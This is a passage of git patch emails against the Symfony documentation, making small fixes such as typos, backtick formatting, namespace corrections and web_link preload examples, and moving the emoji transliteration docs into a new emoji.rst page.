components/cache/adapters/redis_adapter.rst | 2 +- components/var_dumper.rst | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst index 590483a19be..2b00058c6bd 100644 --- a/components/cache/adapters/redis_adapter.rst +++ b/components/cache/adapters/redis_adapter.rst @@ -176,7 +176,7 @@ Available Options ``redis_cluster`` (type: ``bool``, default: ``false``) Enables or disables redis cluster. The actual value passed is irrelevant as long as it passes loose comparison - checks: `redis_cluster=1` will suffice. + checks: ``redis_cluster=1`` will suffice. ``redis_sentinel`` (type: ``string``, default: ``null``) Specifies the master name connected to the sentinels. diff --git a/components/var_dumper.rst b/components/var_dumper.rst index 2e6a337131b..b6cb8c4b346 100644 --- a/components/var_dumper.rst +++ b/components/var_dumper.rst @@ -391,7 +391,7 @@ then its dump representation:: .. note:: - `#14` is the internal object handle. It allows comparing two + ``#14`` is the internal object handle. It allows comparing two consecutive dumps of the same object. .. code-block:: php From 2a0a7163793028bc1af26c3e58bf53fe0a7d5e71 Mon Sep 17 00:00:00 2001 From: Michal Landsman <landsman@studioart.cz> Date: Tue, 3 Sep 2024 09:37:51 +0200 Subject: [PATCH 415/615] bundles - add reason why they are not recommended --- best_practices.rst | 2 ++ bundles.rst | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/best_practices.rst b/best_practices.rst index dafdfe8bc1c..cc38287365e 100644 --- a/best_practices.rst +++ b/best_practices.rst @@ -160,6 +160,8 @@ values is that it's complicated to redefine their values in your tests. Business Logic -------------- +.. _best-practice-no-application-bundles: + Don't Create any Bundle to Organize your Application Logic ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/bundles.rst b/bundles.rst index dba4b30e441..02db1dd5d23 100644 --- a/bundles.rst +++ b/bundles.rst @@ -6,7 +6,7 @@ The Bundle System .. caution:: In Symfony versions prior to 4.0, it was recommended to organize your own - application code using bundles. This is no longer recommended and bundles + application code using bundles. This is :ref:`no longer recommended <best-practice-no-application-bundles>` and bundles should only be used to share code and features between multiple applications. A bundle is similar to a plugin in other software, but even better. The core From 5b4c2cd32591fe0f2159435144c7363203368e82 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20M=C3=B6nch?= <simonmoench@googlemail.com> Date: Wed, 4 Sep 2024 09:50:52 +0200 Subject: [PATCH 416/615] [Scheduler] Fix indention and single quotes for `A Dynamic Vision for the Messages Generated` section example --- scheduler.rst | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/scheduler.rst b/scheduler.rst index ae621d9ece5..160ba26e0cb 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -412,9 +412,10 @@ checks for messages to be generated:: new ExcludeHolidaysTrigger( CronExpressionTrigger::fromSpec('@daily'), ), - // instead of being static as in the previous example - new CallbackMessageProvider([$this, 'generateReports'], 'foo')), - RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport()) + // instead of being static as in the previous example + new CallbackMessageProvider([$this, 'generateReports'], 'foo') + ), + RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport()) ); } From 07105c35375414672a260c93d466a356ef45a6c0 Mon Sep 17 00:00:00 2001 From: Xavier Laviron <norival@users.noreply.github.com> Date: Thu, 5 Sep 2024 10:25:21 +0200 Subject: [PATCH 417/615] Fix typo in mailer.rst --- mailer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mailer.rst b/mailer.rst index eafd542e2f3..8e2e244c449 100644 --- a/mailer.rst +++ b/mailer.rst @@ -1752,7 +1752,7 @@ FailedMessageEvent The ``FailedMessageEvent`` event was introduced in Symfony 6.2. -``FailedMessageEvent`` allows acting on the the initial message in case of a failure:: +``FailedMessageEvent`` allows acting on the initial message in case of a failure:: use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\Mailer\Event\FailedMessageEvent; From afe3aea2233f1eb8c30a48861255b7e6f1b49803 Mon Sep 17 00:00:00 2001 From: Nicolas Grekas <nicolas.grekas@gmail.com> Date: Thu, 5 Sep 2024 15:36:43 +0200 Subject: [PATCH 418/615] Update link for accelerated downloads on nginx --- components/http_foundation.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/http_foundation.rst b/components/http_foundation.rst index d24cb8032f0..f1adc0effcd 100644 --- a/components/http_foundation.rst +++ b/components/http_foundation.rst @@ -857,7 +857,7 @@ Learn More /session /http_cache/* -.. _nginx: https://www.nginx.com/resources/wiki/start/topics/examples/xsendfile/ +.. _nginx: https://mattbrictson.com/blog/accelerated-rails-downloads .. _Apache: https://tn123.org/mod_xsendfile/ .. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/ .. _`valid JSON top-level value`: https://www.json.org/json-en.html From 39878b84abbde111a1971316abe87c3bd9a6394c Mon Sep 17 00:00:00 2001 From: lkolndeep <lkolndeep@protonmail.com> Date: Thu, 5 Sep 2024 18:29:06 +0200 Subject: [PATCH 419/615] Add the yaml and xml config folders --- serializer.rst | 2 ++ 1 file changed, 2 insertions(+) diff --git a/serializer.rst b/serializer.rst index 35894018cb5..cd3aff46dbc 100644 --- a/serializer.rst +++ b/serializer.rst @@ -209,6 +209,7 @@ You can also specify the context on a per-property basis:: .. code-block:: yaml + # config/serializer/custom_config.yaml App\Model\Person: attributes: createdAt: @@ -218,6 +219,7 @@ You can also specify the context on a per-property basis:: .. code-block:: xml <?xml version="1.0" encoding="UTF-8" ?> + <!-- config/serializer/custom_config.xml --> <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping From da99ac7be363be5caf822d21f31774988b553843 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 6 Sep 2024 13:31:10 +0200 Subject: [PATCH 420/615] Minor tweak --- serializer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/serializer.rst b/serializer.rst index cd3aff46dbc..50bd0149a19 100644 --- a/serializer.rst +++ b/serializer.rst @@ -218,8 +218,8 @@ You can also specify the context on a per-property basis:: .. code-block:: xml - <?xml version="1.0" encoding="UTF-8" ?> <!-- config/serializer/custom_config.xml --> + <?xml version="1.0" encoding="UTF-8" ?> <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping From 58b4aea69563ed2c750ce8ac10ba0bc08a5c8c48 Mon Sep 17 00:00:00 2001 From: Nelu Buga <39184661+nBuga@users.noreply.github.com> Date: Fri, 6 Sep 2024 15:00:54 +0300 Subject: [PATCH 421/615] Update serializer.rst Use the right namespace for the Attribute --- serializer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/serializer.rst b/serializer.rst index b0a005314d9..2900a49ba4e 100644 --- a/serializer.rst +++ b/serializer.rst @@ -416,7 +416,7 @@ their paths using a :doc:`valid PropertyAccess syntax </components/property_acce namespace App\Model; - use Symfony\Component\Serializer\Annotation\SerializedPath; + use Symfony\Component\Serializer\Attribute\SerializedPath; class Person { From d3e3ab7c04f6b95bf693a5a6026ed972c530e0b9 Mon Sep 17 00:00:00 2001 From: Javier Spagnoletti <phansys@gmail.com> Date: Fri, 6 Sep 2024 13:24:28 -0300 Subject: [PATCH 422/615] [Messenger] Add missing backticks for inline snippets --- messenger.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/messenger.rst b/messenger.rst index b2ede04da43..35e82591357 100644 --- a/messenger.rst +++ b/messenger.rst @@ -1679,7 +1679,7 @@ redis_sentinel support is disabled .. versionadded:: 7.1 - The option `redis_sentinel` as an alias for `sentinel_master` was introduced + The option ``redis_sentinel`` as an alias for ``sentinel_master`` was introduced in Symfony 7.1. .. caution:: From a79a579728dce352dbbacf9152b1f9c3a7c2875a Mon Sep 17 00:00:00 2001 From: Javier Spagnoletti <phansys@gmail.com> Date: Sat, 7 Sep 2024 04:06:25 -0300 Subject: [PATCH 423/615] [AssetMapper] Add missing backticks for inline snippets --- frontend/asset_mapper.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index 9c9878a54cd..b4d2e5738b8 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -967,7 +967,7 @@ This option is enabled by default. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Configure the polyfill for older browsers. By default, the `ES module shim`_ is loaded -via a CDN (i.e. the default value for this setting is `es-module-shims`): +via a CDN (i.e. the default value for this setting is ``es-module-shims``): .. code-block:: yaml From 42c789bc7dc81db223ace2a22487cf270e4d2197 Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Sun, 10 Dec 2023 17:18:54 +0100 Subject: [PATCH 424/615] merge configuration blocks for AsMessageHandler attribute --- messenger.rst | 55 +++++++++++++++++++-------------------------------- 1 file changed, 20 insertions(+), 35 deletions(-) diff --git a/messenger.rst b/messenger.rst index 3874977c52d..57163f3b60f 100644 --- a/messenger.rst +++ b/messenger.rst @@ -2222,40 +2222,6 @@ wherever you need a query bus behavior instead of the ``MessageBusInterface``:: Customizing Handlers -------------------- -Configuring Handlers Using Attributes -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -You can configure your handler by passing options to the attribute:: - - // src/MessageHandler/SmsNotificationHandler.php - namespace App\MessageHandler; - - use App\Message\OtherSmsNotification; - use App\Message\SmsNotification; - use Symfony\Component\Messenger\Attribute\AsMessageHandler; - - #[AsMessageHandler(fromTransport: 'async', priority: 10)] - class SmsNotificationHandler - { - public function __invoke(SmsNotification $message): void - { - // ... - } - } - -Possible options to configure with the attribute are: - -============================== ==================================================================================================== -Option Description -============================== ==================================================================================================== -``bus`` Name of the bus from which the handler can receive messages, by default all buses. -``fromTransport`` Name of the transport from which the handler can receive messages, by default all transports. -``handles`` Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by - type-hint. -``method`` Name of the method that will process the message, only if the target is a class. -``priority`` Priority of the handler when multiple handlers can process the same message. -============================== ==================================================================================================== - .. _messenger-handler-config: Manually Configuring Handlers @@ -2263,10 +2229,29 @@ Manually Configuring Handlers Symfony will normally :ref:`find and register your handler automatically <messenger-handler>`. But, you can also configure a handler manually - and pass it some extra config - -by tagging the handler service with ``messenger.message_handler`` +while using ``#AsMessageHandler`` attribute or tagging the handler service +with ``messenger.message_handler``. .. configuration-block:: + .. code-block:: php-attributes + + // src/MessageHandler/SmsNotificationHandler.php + namespace App\MessageHandler; + + use App\Message\OtherSmsNotification; + use App\Message\SmsNotification; + use Symfony\Component\Messenger\Attribute\AsMessageHandler; + + #[AsMessageHandler(fromTransport: 'async', priority: 10)] + class SmsNotificationHandler + { + public function __invoke(SmsNotification $message): void + { + // ... + } + } + .. code-block:: yaml # config/services.yaml From 6ecffc36cd27825dc021e17c8b35db04358b56eb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9o=20FIDRY?= <theo.fidry@gmail.com> Date: Sun, 26 Feb 2023 12:38:11 +0100 Subject: [PATCH 425/615] [Runtime] Document registering your own runtime template --- components/runtime.rst | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/components/runtime.rst b/components/runtime.rst index c1588bac187..5c07fdad546 100644 --- a/components/runtime.rst +++ b/components/runtime.rst @@ -101,6 +101,26 @@ Use the ``APP_RUNTIME`` environment variable or by specifying the } } +If modifying the runtime class is not enough, you can always create your own runtime +template: + +.. code-block:: json + + { + "require": { + "...": "..." + }, + "extra": { + "runtime": { + "autoload_template": "resources/runtime/autoload_runtime.template" + } + } + } + +If you want a reference, the The Symfony's runtime can be found at +<a href="https://github.com/symfony/symfony/blob/5.4/src/Symfony/Component/Runtime/Internal/autoload_runtime.template" class="reference external" title="Symfony autoload_runtime.template" rel="external noopener noreferrer" target="_blank">src/Symfony/Component/Runtime/Internal/autoload_runtime.template()</a>. + + Using the Runtime ----------------- From 1f3704aa9437ad7f19017b0734fb4c241bc4f0c7 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 13 Sep 2024 09:33:08 +0200 Subject: [PATCH 426/615] Minor tweaks --- components/runtime.rst | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/components/runtime.rst b/components/runtime.rst index 375b53506c0..eba9e39661d 100644 --- a/components/runtime.rst +++ b/components/runtime.rst @@ -101,8 +101,7 @@ Use the ``APP_RUNTIME`` environment variable or by specifying the } } -If modifying the runtime class is not enough, you can always create your own runtime -template: +If modifying the runtime class isn't enough, you can create your own runtime template: .. code-block:: json @@ -117,9 +116,7 @@ template: } } -If you want a reference, the The Symfony's runtime can be found at -<a href="https://github.com/symfony/symfony/blob/5.4/src/Symfony/Component/Runtime/Internal/autoload_runtime.template" class="reference external" title="Symfony autoload_runtime.template" rel="external noopener noreferrer" target="_blank">src/Symfony/Component/Runtime/Internal/autoload_runtime.template()</a>. - +Symfony provides a `runtime template file`_ that you can use to create your own. Using the Runtime ----------------- @@ -507,3 +504,4 @@ The end user will now be able to create front controller like:: .. _Swoole: https://openswoole.com/ .. _ReactPHP: https://reactphp.org/ .. _`PSR-15`: https://www.php-fig.org/psr/psr-15/ +.. _`runtime template file`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Runtime/Internal/autoload_runtime.template From 5bc5d4706510f351a95090dd6ac14250143d708c Mon Sep 17 00:00:00 2001 From: Tac Tacelosky <tacman@gmail.com> Date: Sun, 15 Sep 2024 08:13:32 -0400 Subject: [PATCH 427/615] use /templates instead of /Resources/views The modern (and default) directory structure. --- templates.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/templates.rst b/templates.rst index 4567a018823..2ef5a04dc10 100644 --- a/templates.rst +++ b/templates.rst @@ -1294,7 +1294,7 @@ and leaves the repeated contents and HTML structure to some parent templates. .. code-block:: html+twig - {# app/Resources/views/blog/index.html.twig #} + {# app/templates/blog/index.html.twig #} {% extends 'base.html.twig' %} {# the line below is not captured by a "block" tag #} @@ -1481,7 +1481,7 @@ templates under an automatic namespace created after the bundle name. For example, the templates of a bundle called ``AcmeBlogBundle`` are available under the ``AcmeBlog`` namespace. If this bundle includes the template -``<your-project>/vendor/acme/blog-bundle/Resources/views/user/profile.html.twig``, +``<your-project>/vendor/acme/blog-bundle/templates/user/profile.html.twig``, you can refer to it as ``@AcmeBlog/user/profile.html.twig``. .. tip:: From 8dc86e520d70da315ad07922b16eec34b445ef4f Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 16 Sep 2024 09:34:39 +0200 Subject: [PATCH 428/615] Minor tweak --- templates.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates.rst b/templates.rst index 2ef5a04dc10..edbf782032c 100644 --- a/templates.rst +++ b/templates.rst @@ -1294,7 +1294,7 @@ and leaves the repeated contents and HTML structure to some parent templates. .. code-block:: html+twig - {# app/templates/blog/index.html.twig #} + {# templates/blog/index.html.twig #} {% extends 'base.html.twig' %} {# the line below is not captured by a "block" tag #} From 24b9c0c3056aaa72e8f7fad1459dbfb69e75909b Mon Sep 17 00:00:00 2001 From: Vincent Chareunphol <vincent@devoji.com> Date: Mon, 16 Sep 2024 10:36:42 +0200 Subject: [PATCH 429/615] [Options Resolver] Fix file reference method --- components/options_resolver.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/options_resolver.rst b/components/options_resolver.rst index e1d82c4df7e..c01f727139a 100644 --- a/components/options_resolver.rst +++ b/components/options_resolver.rst @@ -822,7 +822,7 @@ method:: When using an option deprecated by you in your own library, you can pass ``false`` as the second argument of the - :method:`Symfony\\Component\\OptionsResolver\\Options::offsetGet` method + :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::offsetGet` method to not trigger the deprecation warning. .. note:: From b3fcbd0951e3fe689d3dce40b5fd10d7975a6ab5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=BCrgen?= <juukie@users.noreply.github.com> Date: Tue, 17 Sep 2024 23:44:33 +0200 Subject: [PATCH 430/615] Typo correction testing.rst --- testing.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/testing.rst b/testing.rst index d7f500bfa54..1e07fa4fc69 100644 --- a/testing.rst +++ b/testing.rst @@ -318,7 +318,7 @@ concrete one:: } } -No further configuration in required, as the test service container is a special one +No further configuration is required, as the test service container is a special one that allows you to interact with private services and aliases. .. versionadded:: 6.3 From 35c94bcad73e1108fe8e0a103a1fdd9bd88bd63b Mon Sep 17 00:00:00 2001 From: Massimiliano Arione <garakkio@gmail.com> Date: Sun, 8 Sep 2024 17:26:35 +0200 Subject: [PATCH 431/615] improve web_link --- web_link.rst | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/web_link.rst b/web_link.rst index 82466e56b42..945cec45a6d 100644 --- a/web_link.rst +++ b/web_link.rst @@ -59,7 +59,8 @@ correct prioritization and the content security policy: <head> <!-- ... --> - <link rel="preload" href="{{ preload('/app.css', { as: 'style' }) }}"> + <link rel="preload" href="{{ preload('/app.css', {as: 'style'}) }}" as="style"> + <link rel="stylesheet" href="/app.css"> </head> If you reload the page, the perceived performance will improve because the @@ -74,7 +75,8 @@ requested the HTML page. <head> <!-- ... --> - <link rel="preload" href="{{ preload(asset('build/app.css')) }}"> + <link rel="preload" href="{{ preload(asset('build/app.css')) }}" as="style"> + <!-- ... --> </head> Additionally, according to `the Priority Hints specification`_, you can signal @@ -84,7 +86,8 @@ the priority of the resource to download using the ``importance`` attribute: <head> <!-- ... --> - <link rel="preload" href="{{ preload('/app.css', { as: 'style', importance: 'low' }) }}"> + <link rel="preload" href="{{ preload('/app.css', {as: 'style', importance: 'low'}) }}" as="style"> + <!-- ... --> </head> How does it work? @@ -108,7 +111,8 @@ issuing an early separate HTTP request, use the ``nopush`` option: <head> <!-- ... --> - <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}"> + <link rel="preload" href="{{ preload('/app.css', {as: 'style', nopush: true}) }}" as="style"> + <!-- ... --> </head> Resource Hints @@ -142,7 +146,8 @@ any link implementing the `PSR-13`_ standard. For instance, any <head> <!-- ... --> <link rel="alternate" href="{{ link('/index.jsonld', 'alternate') }}"> - <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}"> + <link rel="preload" href="{{ preload('/app.css', {as: 'style', nopush: true}) }}" as="style"> + <!-- ... --> </head> The previous snippet will result in this HTTP header being sent to the client: From 912d988beee8d246be5f464a5efae5356fad6a99 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 19 Sep 2024 16:46:01 +0200 Subject: [PATCH 432/615] Tweaks --- web_link.rst | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/web_link.rst b/web_link.rst index 945cec45a6d..7a09e6273d6 100644 --- a/web_link.rst +++ b/web_link.rst @@ -59,6 +59,8 @@ correct prioritization and the content security policy: <head> <!-- ... --> + {# note that you must add two <link> tags per asset: + one to link to it and the other one to tell the browser to preload it #} <link rel="preload" href="{{ preload('/app.css', {as: 'style'}) }}" as="style"> <link rel="stylesheet" href="/app.css"> </head> @@ -67,6 +69,13 @@ If you reload the page, the perceived performance will improve because the server responded with both the HTML page and the CSS file when the browser only requested the HTML page. +.. tip:: + + When using the :doc:`AssetMapper component </frontend/asset_mapper>` to link + to assets (e.g. ``importmap('app')``), there's no need to add the ``<link rel="preload">`` + tag. The ``importmap()`` Twig function automatically adds the ``Link`` HTTP + header for you when the WebLink component is available. + .. note:: You can preload an asset by wrapping it with the ``preload()`` function: From 2e118366f2008a899da6adb7178a4db280d2548f Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Wed, 11 Sep 2024 08:42:14 +0200 Subject: [PATCH 433/615] [Emoji][String] Extract Emoji from String documentation --- components/intl.rst | 2 +- emoji.rst | 143 ++++++++++++++++++++++++++++++++++++ string.rst | 174 +------------------------------------------- 3 files changed, 145 insertions(+), 174 deletions(-) create mode 100644 emoji.rst diff --git a/components/intl.rst b/components/intl.rst index 008d9161fd7..ba3cbdcb959 100644 --- a/components/intl.rst +++ b/components/intl.rst @@ -386,7 +386,7 @@ Emoji Transliteration ~~~~~~~~~~~~~~~~~~~~~ Symfony provides utilities to translate emojis into their textual representation -in all languages. Read the documentation on :ref:`working with emojis in strings <string-emoji-transliteration>` +in all languages. Read the documentation about :ref:`emoji transliteration <emoji-transliteration>` to learn more about this feature. Disk Space diff --git a/emoji.rst b/emoji.rst new file mode 100644 index 00000000000..ba6ca38ed73 --- /dev/null +++ b/emoji.rst @@ -0,0 +1,143 @@ +Working with Emojis +=================== + +.. versionadded:: 7.1 + + The emoji component was introduced in Symfony 7.1. + +Symfony provides several utilities to work with emoji characters and sequences +from the `Unicode CLDR dataset`_. They are available via the Emoji component, +which you must first install in your application: + +.. _installation: + +.. code-block:: terminal + + $ composer require symfony/emoji + +.. include:: /components/require_autoload.rst.inc + +The data needed to store the transliteration of all emojis (~5,000) into all +languages take a considerable disk space. + +If you need to save disk space (e.g. because you deploy to some service with tight +size constraints), run this command (e.g. as an automated script after ``composer install``) +to compress the internal Symfony emoji data files using the PHP ``zlib`` extension: + +.. code-block:: terminal + + # adjust the path to the 'compress' binary based on your application installation + $ php ./vendor/symfony/emoji/Resources/bin/compress + +.. _emoji-transliteration: + +Emoji Transliteration +~~~~~~~~~~~~~~~~~~~~~ + +The ``EmojiTransliterator`` class offers a way to translate emojis into their +textual representation in all languages based on the `Unicode CLDR dataset`_:: + + use Symfony\Component\Emoji\EmojiTransliterator; + + // Describe emojis in English + $transliterator = EmojiTransliterator::create('en'); + $transliterator->transliterate('Menus with 🍕 or 🍝'); + // => 'Menus with pizza or spaghetti' + + // Describe emojis in Ukrainian + $transliterator = EmojiTransliterator::create('uk'); + $transliterator->transliterate('Menus with 🍕 or 🍝'); + // => 'Menus with піца or спагеті' + +You can also combine the ``EmojiTransliterator`` with the :ref:`slugger <string-slugger-emoji>` +to transform any emojis into their textual representation. + +Transliterating Emoji Text Short Codes +...................................... + +Services like GitHub and Slack allows to include emojis in your messages using +text short codes (e.g. you can add the ``:+1:`` code to render the 👍 emoji). + +Symfony also provides a feature to transliterate emojis into short codes and vice +versa. The short codes are slightly different on each service, so you must pass +the name of the service as an argument when creating the transliterator. + +Convert emojis to GitHub short codes with the ``emoji-github`` locale:: + + $transliterator = EmojiTransliterator::create('emoji-github'); + $transliterator->transliterate('Teenage 🐢 really love 🍕'); + // => 'Teenage :turtle: really love :pizza:' + +Convert GitHub short codes to emojis with the ``github-emoji`` locale:: + + $transliterator = EmojiTransliterator::create('github-emoji'); + $transliterator->transliterate('Teenage :turtle: really love :pizza:'); + // => 'Teenage 🐢 really love 🍕' + +.. note:: + + Github, Gitlab and Slack are currently available services in + ``EmojiTransliterator``. + +.. _text-emoji: + +Universal Emoji Short Codes Transliteration +########################################### + +If you don't know which service was used to generate the short codes, you can use +the ``text-emoji`` locale, which combines all codes from all services:: + + $transliterator = EmojiTransliterator::create('text-emoji'); + + // Github short codes + $transliterator->transliterate('Breakfast with :kiwi-fruit: or :milk-glass:'); + // Gitlab short codes + $transliterator->transliterate('Breakfast with :kiwi: or :milk:'); + // Slack short codes + $transliterator->transliterate('Breakfast with :kiwifruit: or :glass-of-milk:'); + + // all the above examples produce the same result: + // => 'Breakfast with 🥝 or 🥛' + +You can convert emojis to short codes with the ``emoji-text`` locale:: + + $transliterator = EmojiTransliterator::create('emoji-text'); + $transliterator->transliterate('Breakfast with 🥝 or 🥛'); + // => 'Breakfast with :kiwifruit: or :milk-glass: + +Inverse Emoji Transliteration +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Given the textual representation of an emoji, you can reverse it back to get the +actual emoji thanks to the :ref:`emojify filter <reference-twig-filter-emojify>`: + +.. code-block:: twig + + {{ 'I like :kiwi-fruit:'|emojify }} {# renders: I like 🥝 #} + {{ 'I like :kiwi:'|emojify }} {# renders: I like 🥝 #} + {{ 'I like :kiwifruit:'|emojify }} {# renders: I like 🥝 #} + +By default, ``emojify`` uses the :ref:`text catalog <text-emoji>`, which +merges the emoji text codes of all services. If you prefer, you can select a +specific catalog to use: + +.. code-block:: twig + + {{ 'I :green-heart: this'|emojify }} {# renders: I 💚 this #} + {{ ':green_salad: is nice'|emojify('slack') }} {# renders: 🥗 is nice #} + {{ 'My :turtle: has no name yet'|emojify('github') }} {# renders: My 🐢 has no name yet #} + {{ ':kiwi: is a great fruit'|emojify('gitlab') }} {# renders: 🥝 is a great fruit #} + +Removing Emojis +~~~~~~~~~~~~~~~ + +The ``EmojiTransliterator`` can also be used to remove all emojis from a string, +via the special ``strip`` locale:: + + use Symfony\Component\Emoji\EmojiTransliterator; + + $transliterator = EmojiTransliterator::create('strip'); + $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁'); + // => 'Hey! Happy Birthday!' + +.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr diff --git a/string.rst b/string.rst index 5e18cfcaea3..702e9344880 100644 --- a/string.rst +++ b/string.rst @@ -507,177 +507,6 @@ requested during the program execution. You can also create lazy strings from a // hash computation only if it's needed $lazyHash = LazyString::fromStringable(new Hash()); -.. _working-with-emojis: - -Working with Emojis -------------------- - -.. versionadded:: 7.1 - - The emoji component was introduced in Symfony 7.1. - -Symfony provides several utilities to work with emoji characters and sequences -from the `Unicode CLDR dataset`_. They are available via the Emoji component, -which you must first install in your application: - -.. code-block:: terminal - - $ composer require symfony/emoji - -.. include:: /components/require_autoload.rst.inc - -The data needed to store the transliteration of all emojis (~5,000) into all -languages take a considerable disk space. - -If you need to save disk space (e.g. because you deploy to some service with tight -size constraints), run this command (e.g. as an automated script after ``composer install``) -to compress the internal Symfony emoji data files using the PHP ``zlib`` extension: - -.. code-block:: terminal - - # adjust the path to the 'compress' binary based on your application installation - $ php ./vendor/symfony/emoji/Resources/bin/compress - -.. _string-emoji-transliteration: - -Emoji Transliteration -~~~~~~~~~~~~~~~~~~~~~ - -The ``EmojiTransliterator`` class offers a way to translate emojis into their -textual representation in all languages based on the `Unicode CLDR dataset`_:: - - use Symfony\Component\Emoji\EmojiTransliterator; - - // Describe emojis in English - $transliterator = EmojiTransliterator::create('en'); - $transliterator->transliterate('Menus with 🍕 or 🍝'); - // => 'Menus with pizza or spaghetti' - - // Describe emojis in Ukrainian - $transliterator = EmojiTransliterator::create('uk'); - $transliterator->transliterate('Menus with 🍕 or 🍝'); - // => 'Menus with піца or спагеті' - -Transliterating Emoji Text Short Codes -...................................... - -Services like GitHub and Slack allows to include emojis in your messages using -text short codes (e.g. you can add the ``:+1:`` code to render the 👍 emoji). - -Symfony also provides a feature to transliterate emojis into short codes and vice -versa. The short codes are slightly different on each service, so you must pass -the name of the service as an argument when creating the transliterator: - -GitHub Emoji Short Codes Transliteration -######################################## - -Convert emojis to GitHub short codes with the ``emoji-github`` locale:: - - $transliterator = EmojiTransliterator::create('emoji-github'); - $transliterator->transliterate('Teenage 🐢 really love 🍕'); - // => 'Teenage :turtle: really love :pizza:' - -Convert GitHub short codes to emojis with the ``github-emoji`` locale:: - - $transliterator = EmojiTransliterator::create('github-emoji'); - $transliterator->transliterate('Teenage :turtle: really love :pizza:'); - // => 'Teenage 🐢 really love 🍕' - -Gitlab Emoji Short Codes Transliteration -######################################## - -Convert emojis to Gitlab short codes with the ``emoji-gitlab`` locale:: - - $transliterator = EmojiTransliterator::create('emoji-gitlab'); - $transliterator->transliterate('Breakfast with 🥝 or 🥛'); - // => 'Breakfast with :kiwi: or :milk:' - -Convert Gitlab short codes to emojis with the ``gitlab-emoji`` locale:: - - $transliterator = EmojiTransliterator::create('gitlab-emoji'); - $transliterator->transliterate('Breakfast with :kiwi: or :milk:'); - // => 'Breakfast with 🥝 or 🥛' - -Slack Emoji Short Codes Transliteration -####################################### - -Convert emojis to Slack short codes with the ``emoji-slack`` locale:: - - $transliterator = EmojiTransliterator::create('emoji-slack'); - $transliterator->transliterate('Menus with 🥗 or 🧆'); - // => 'Menus with :green_salad: or :falafel:' - -Convert Slack short codes to emojis with the ``slack-emoji`` locale:: - - $transliterator = EmojiTransliterator::create('slack-emoji'); - $transliterator->transliterate('Menus with :green_salad: or :falafel:'); - // => 'Menus with 🥗 or 🧆' - -.. _string-text-emoji: - -Universal Emoji Short Codes Transliteration -########################################### - -If you don't know which service was used to generate the short codes, you can use -the ``text-emoji`` locale, which combines all codes from all services:: - - $transliterator = EmojiTransliterator::create('text-emoji'); - - // Github short codes - $transliterator->transliterate('Breakfast with :kiwi-fruit: or :milk-glass:'); - // Gitlab short codes - $transliterator->transliterate('Breakfast with :kiwi: or :milk:'); - // Slack short codes - $transliterator->transliterate('Breakfast with :kiwifruit: or :glass-of-milk:'); - - // all the above examples produce the same result: - // => 'Breakfast with 🥝 or 🥛' - -You can convert emojis to short codes with the ``emoji-text`` locale:: - - $transliterator = EmojiTransliterator::create('emoji-text'); - $transliterator->transliterate('Breakfast with 🥝 or 🥛'); - // => 'Breakfast with :kiwifruit: or :milk-glass: - -Inverse Emoji Transliteration -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -.. versionadded:: 7.1 - - The inverse emoji transliteration was 